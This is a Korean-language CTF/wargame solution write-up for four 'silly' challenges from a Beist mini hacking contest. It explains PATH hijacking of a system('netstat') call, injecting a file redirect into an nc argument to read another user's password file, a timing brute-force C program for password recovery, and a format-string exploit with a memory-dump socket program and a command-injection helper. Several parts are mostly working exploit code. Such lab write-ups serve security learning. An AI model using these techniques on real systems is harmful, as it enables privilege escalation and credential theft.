[Beist 배 MINI HACKING CONTEST 풀이]

By **hahah(kjskes@naver.com)**
beistlab(http://beist.org)

[silly1]

- silly 한 문제입니다. 문제 파일을 실행하면

```
./netstat_loop 1
```

이런 식으로 netstat 을 atoi(argv[1])만큼 실행시켜줍니다. 이때 코드를 살펴보면

```
mov     [esp+3Ch+var_3C], offset aNetstatAn
call    _system
```

즉, system("netstat -an"); 와 같은 방법으로 netstat 를 호출합니다. netstat 의 기본 위치는 /bin/netstat 인데 /bin 은 환경변수 PATH 에 등록되어 있어서 netstat 만 적어도 실행이 되는 것이므로, 환경변수를 바꿔주는 식으로 풀어보겠습니다.

```
export PATH=/tmp/.hah:/usr/bin
```

위와 같이 하면 /tmp/.hah 에 있는 바이너리들도 실행할 수 있습니다.

그럼 /tmp/.hah 에 netstat 이라는 이름으로 쉘을 띄우는 프로그램을 만들겠습니다.

```
//netstat.c
#include <stdio.h>
int main()
{
        system("/bin/sh");
        return 0;
}
```

컴파일해서 /tmp/.hah 에 넣어두고, netstat_loop 를 실행하면 다음 권한의 쉘을 얻을 수 있습니다.

[silly2]

- 좀 더 silly 합니다. service_nc 라는 프로그램을 실행하면 입력을 받고 어떤 일을 하는데, 분석을 해보겠습니다. 간단하게 살펴보면

```
fgets((char *)&v15, 0xC8u, (FILE *)stdin);
```

이렇게 0xC8 만큼 입력을 받고, 특수문자에 대한 필터링을 거친 후..

```
sprintf((char *)&v16, "/bin/nc %s", &v15);
puts((const char *)&v16);
system((const char *)&v16);
```

"/bin/nc "뒤에 사용자가 입력한 문자열을 넣은 후 puts 함수로 출력해주고, system 함수로 실행합니다. 즉, 입력한 내용이 nc 의 인자로 되어 실행이 되는 것입니다. 다양한 방법이 있는데 전 우연히 11111 번 포트에 접속하면 입력한대로 다시 출력해준다는 것을 발견하고(나중에 보니 silly4 문제더군요)

다음과 같이 nc 접속을 해서 풀었습니다. 이 외에도 다양한 방법이 있으리라 생각됩니다!

```
silly2@ubuntu:~$ ./service_nc
127.0.0.1 11111 </home/silly3/silly3_ssh_password     <<<<   입력한것
/bin/nc 127.0.0.1 11111 </home/silly3/silly3_ssh_password
fhdifwpfl80
```

입력 받는 값에 대한 필터링 중 "<"가 빠져 있어서 사용했습니다. 127.0.0.1 11111 에 접속하여 패스워드 내용을 입력해주게 됩니다. 그러면 저 포트에서 실행되는 프로그램은 그 내용을 다시 보여줍니다.
(굳이 저 포트를 사용할 필요는 없고, nc 에 실행 권한이 있으므로 다른 곳에서 nc 로 포트 하나를 열고 기다려도 되겠네요.)

[silly3]

- 약간 덜 silly 합니다. auth 가 하는 일을 대략적으로 살펴보면..

```
fopen("/home/silly3/pass", (const char *)&unk_80489D0);
```

```
fgets((char *)&v22, 11, v6);
```

으로 /home/silly3/pass 파일을 읽어와서 어딘가에 저장을 합니다. 그리고 argv[1]의 길이만큼 루프를 돌면서 pass 의 내용과 argv[1] 내용을 앞에서부터 한 글자씩 비교합니다. 같다면 다음 글자를 비교하고, 다르다면

```
v8 = time(0);
srand(v8);
v9 = rand();
sprintf((char *)&v21, "/tmp/%d", v9);
v27 = fopen((const char *)&v21, "w");
v10 = *(_DWORD *)(v19 + 8); //argv[1]
v11 = rand();
fprintf(v27, "fuck no - %d %s₩n", v11, v10);
```

위와 같이 time(0)을 seed 로 하고, 랜덤 값을 얻어서, 해당 값을 이름으로 하는 파일을 /tmp/에 만들고 랜덤값과 argv[2]를 fprintf 함수로 해당 파일에 쓰고 다음 글자를 비교합니다. 즉, pass 를 맞췄다면 /tmp/에 파일이 생기지 않지만 틀렸다면 /tmp/에 파일이 생깁니다.

그리고 루프가 끝난 후 10 개의 문자가 일치했다면 system(argv[2])을 실행 시켜 줍니다.

여기서 문자열을 비교할 때, pass 의 길이 만큼이 아니라 argv[1]의 길이만큼 비교하기 때문에 한 글자씩 맞춰나갈 수 있습니다. 간단하게 방법을 설명하자면, argv[1]에 넣어주는 값을 brute force 를 통해 알아낼 수 있습니다.

argv[1]에 "A" 한글자만 넣어 줬을 때, pass 의 첫 글자가 "A"라면 /tmp/에 파일을 만들지 않고 종료될 것이며, "A"가 아니라면 /tmp/ 에 파일을 하나 만들고 종료될 것입니다. 이것을 이용하여 argv[1]의 값을 바꿔주면서 /tmp/에 파일이 생겼는지 체크 하는 식으로 pass 를 한 글자씩 맞춰나갔습니다.

원래 의도는 setrlimit() 함수를 이용하는 것이라고 하나, 전 그런 함수는 사용하지 않고(!!) 풀었고 패스워드가 몇 글자 되지 않다 보니 자동화하는 것 보다 손으로 열심히 코드를 수정하며 하는게 빠를 것 같아서 그렇게 했기 때문에 코드가 약간 지저분해 보일 수 있습니다. -_-;

```
//silly3ex.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
```

```
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
/*val*/
int main(int argc, char *argv[])
{
        pid_t pid;
        int state;
        int t;
        int fd;
        int len;
        int i;
        int j;
        int count;
        char file[100];
        char buf[256];
        char arg[10];
        unsigned char ch=33;

        for(i=0x41;i<0x7b;i++){ //알파벳 범위 정도만 brute force 했습니다.
                count=0;
                getchar(); //동시에 하는 사람들이 많아서 손으로 엔터쳐가며 눈으로 확인..
                for (j=0;j<5;j++){
                //동시에 하는 사람들이 많아서 한글자당 5 번씩 해봄..ㅠㅠㅠㅠ
                        memset(arg,0,sizeof(arg));
                        arg[0]=0x64;        //d
                        arg[1]=0x6E;        //n
                        arg[2]=0x54;        //T
                        arg[3]=0x6c;        //l
                        arg[4]=0x64;        //d
                        arg[5]=0x6e;        //n
                        arg[6]=0x54;        //T
                        arg[7]=0x6c;        //l
                        arg[8]=0x6b;        //k
                //      arg[9]=;
                //9 글자를 구한 상태입니다.. 10 번째 글자에 대해 brute force 를 합니다~

                        if(argc==2)
                                {
```

```
                i=argv[1][0]; // 이것 역시.. 사람들이 많아서 눈으로
한글자씩 확인하기 위해..ㅠㅠ
        }
        arg[9]=(char)i; //brute force!!

        pid=fork(); //fork 함수로 자식, 부모로 나뉘어 다른 일을 합니다.
        if(pid<0){
                printf("fork error");
                exit(1);
        }
        if(pid==0){ //자식의 경우

    execl("/home/silly3/auth","/home/silly3/auth",arg,arg+8,NULL); //프로그램을 실행하는데,
                //arg 를 인자로 패스워드와 비교하고, /tmp/에 생기는
파일이 예전 것인지 구분하기 위해
                //앞서 구한 8 번째 글자와 brute force 하는 글자를
argv[2]에 들어가도록 합니다.
                //그럼 파일이 생겼을때 k? 가 보이므로 구분하기 쉽겠죠;;
                exit(0);
        }

        else{
                memset(buf,0,sizeof(buf));
                memset(file,0,sizeof(file));
                t=time(0);
                srand(t);
                sprintf(file,"/tmp/%d",rand());  //auth 와 같은 방식으로
파일 이름을 얻어냅니다.
                waitpid(pid,&state,0); //자식이 죽으면(??)
                fd=open(file,O_EXCL,O_RDONLY); //파일이 생겼는지
체크합니다.
                if(fd<0){
                        printf("open err₩n"); //없다면 에러..
                        count++;
                }
                len=read(fd,buf,sizeof(buf));
                buf[len]=0;
                printf("%x,%s, %s₩n",i,file,buf); //파일 내용을 봅니다.
                sleep(1); //너무 빠르면 파일명이 안바뀔지도 모릅니다~_~;
```

```
                        }
                }
                printf("count %2x, count%d₩n",i,count); //한글자에 대해 5 번씩 하므로, 5 번
다 에러가 난 경우
                                                        //올바른 값일 가능성이
높겠죠..
        }
        return 0;
}
```

처음에는 위처럼 5 번씩 하지 않고 한번씩만 했더니 미묘한 시간차로 파일 이름이 바뀌어 안 열리는 경우가 생겨서 5 번씩 하는 것으로 바꿔서 다섯 번 다 안 열린 경우만 체크할 수 있도록 했습니다. ("|grep count5"를 붙여주면 되겠죠..)

그러나 그렇게 바꾸고 나니 이번엔 동시에 푸는 사람들이 많아져서 동시에 여러 사람이 하니 딴사람이 만든 파일을 open 해버리는 바람에 open err 가 생기지 않아 getchar()를 넣고 파일 내용을 눈으로 확인하며 딴사람이 만든 건지 제가 만든 건지 확인하였습니다-_-;
(파일 내용을 읽은 후 argv[2]가 있는 부분을 비교하는 식으로 하면 자동화 가능할 듯 합니다. 하지만 대회 중엔 시간이 중요하므로(!) 눈으로 보는 게 더 빠를듯하여 .... -_-;;)

즉 위의 프로그램을 실행하면 10 번째 글자로 "A"를 넣는 것부터 시작하는데, "dnTldnTlkA"가 답이 아니라면 5 번 루프를 돌면서 /tmp/ 에 생성된 파일을 읽은 내용을 5 번을 보여줍니다.

그런데 내용을 보면 open err 가 나는 경우도 있고, 다른 사람이 만든 파일이 보이는 경우도 있는데, 5 번이나 하므로 하나쯤은 보이길 바랍니다. -_-; 즉, 하나라도 "kA" 가 제일 마지막에 들어가 있는 파일이 있다면 "dnTldnTlkA"는 답이 아닌 것입니다.

이런 식으로 해서 5 번 모두 open err 가 나오거나 다른 사람이 만든 파일만 열린다면 올바른 값일 가능성이 큽니다. 이렇게 한 글자씩 구해서 dnTldnTlkk 라는 pass 의 내용을 구할 수 있었고,

```
./auth dnTldnTlkk /bin/sh
```

이런 식으로 실행하여 쉘을 얻을 수 있었습니다.

[silly4]

- silly 하지 않아요. -_-; 주어진 것은 11111 번 포트라는 것 밖에 없습니다. 11111 번 포트 nc 로 접속해서 포맷스트링 %x 몇번 넣어보면 7 번째에 입력해준 값이 있다는 것을 알 수 있습니다. 따라서 만약에

(perl -e'print"₩x80₩xf6₩xff₩xbf","%7₩$s₩x0a"')|nc 127.0.0.1 11111

이렇게 실행한다면 0xbffff680(read 권한이 있다면)에 있는 문자열을 볼 수 있죠. 이런 방식으로 0x08048000~0x0804a000 의 text 영역을 덤프를 뜹니다! 덤프를 뜨는데 사용한 코드입니다. nc 를 사용하지 않고 소켓프로그래밍으로 11111 번 포트로 접속하여 공격코드를 입력해줍니다.

```
//11111.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
int main()
{
        int sock;
        int fd;
        char file[]="/tmp/.h4/dump";  //dump 파일 입니다
        struct sockaddr_in serv_addr;
        int len;
        char ip[]="127.0.0.1";
        int port=11111;
        char buf[100];
        char scan[]="%c%c%c%c%%7$s₩x0a"; //직접 연결하여 입력해주는데 주소값을 문자로 한글자씩 씁니다.
        char att[200];
        char ch;
        int i;
        fd=open(file,O_RDWR|O_CREAT); //dump 파일을 열고..
        system("chmod 777 /tmp/.h4/dump"); // 없어도 될듯합니다

        for(i=0x08048000;i<0x0804a000;){ // 범위 너무 많아서 중간에 ctrl+c 눌려서 멈췄습니다;
```

```
sock=socket(PF_INET,SOCK_STREAM,0);
if(sock==-1)
        printf("sock err₩n");

memset(&serv_addr,0,sizeof(serv_addr));
serv_addr.sin_family=AF_INET;
serv_addr.sin_addr.s_addr=inet_addr(ip);
serv_addr.sin_port=htons(port);

if(connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr))==-1)
        printf("con err₩n");

memset(att,0,sizeof(att));
sprintf(att,scan,i&0xff,(i>>8)&0xff,(i>>16)&0xff,(i>>24)&0xff); //공격코드를 만들어줍니다.
write(sock,att,sizeof(att)); //입력!
len=read(sock,buf,4);
if(len==-1){
        printf("errr₩n"); //read 오류..
}
else{
        memset(buf,0,sizeof(buf));
        len=read(sock,buf,sizeof(buf)-1);
        if(len==0){ //하나도 못읽은 경우는 해당 위치가 NULL 인 경우 이므로
        write(fd,"₩x00",1); //NULL 을 dump 파일에 쓰고
        i+=1; //주소값을 1 증가시킵니다.
        }
else{
        write(fd,buf,len); //읽은 만큼 dump 에 쓰고
        i+=len; //주소값을 증가 시킵니다.
        printf("%d %d read : %s₩n",len,i,buf);    //어떤걸 읽어들이는지 볼 수 있게..
계속 안보인다면 NULL 을 쓰고 있는
                                                        //것이므로 적당히
멈춰줍시닷..
}
}
sleep(1);//너무 빠르면 서버 죽어요.. -_-;
close(sock);
}
close(fd);
```

```
        return 0;

}
```

그럼 ELF 포맷의 문제 파일을 얻을 수 있습니다 !!! -_-;; 깨지는 부분도 있고 이상한 값들이 들어간 부분도 있지만 어찌됐건 잘 열립니다. 라이브러리 함수들은 다 제대로 연결이 안되어 있어서 알아보기 힘들지만 인자로 넣는 값들을 보고 유추할 수 있습니다.
main 함수를 보면

```
        sub_804842C(&v15); //fgets
        if ( (unsigned int)strlen(&v15, v4, v5) > 0x14 )
                sub_804848C(0); //exit
        if ( !(_BYTE)v15 )
                sub_804848C(0); //exit
        *((_BYTE *)&v15 + strlen(&v15, v4, v5) - 1) = 0;
        result = sub_8048524(&v15);
```

여기서 제일 마지막에 sub_8048524(&v15)가 입력 받은 문자열을 처리하는 것 같습니다.
sub_8048524 를 분석하면 입력하는 첫 글자가 0x40 일때 뭔가 합니다. 입력 받은 값들에 xor 0x33 연산을 하고 첫 글자를 공백으로 만듭니다.

그리고 "%s > /dev/null 2> /dev/null" 이 포맷에 xor 된 문자열을 넣어 실행할 코드를 만듭니다.
그런데 뒤에 /dev/null 로 출력값을 넣으면 보이지 않으므로 ';'를 넣어서 끊어줘야 합니다.

원하는 명령어를 실행할 수 있도록 해주는 프로그램을 만들었습니다.

```
//exec.c
#include <stdio.h>
int main(int argc, char *argv[])
{
        char scan[]="(perl -e'print₩"₩₩x40%s₩₩x08₩₩x0a₩"';cat)|nc 127.0.0.1 11111";
                                //제일 앞에 0x40 을 넣어주고 xor 된 문자열과 ";"를 넣어줍니다.
간단하게 nc 로 합니다.
        char att[200];
        int i,len;
        if(argc!=2)
                exit(0);
        len=strlen(argv[1]);
        for(i=0;i<len;i++){
```

```
                argv[1][i]^=0x33;//xor 연산
        }
        sprintf(att,scan,argv[1]);
        system(att);
        return 0;

}
```

./exec /bin/sh 와 같이 실행하면 쉘이 떨어집니다! 20 자 제한이 있으므로 긴 명령어는 실행이 안됩니다 :)

-끗-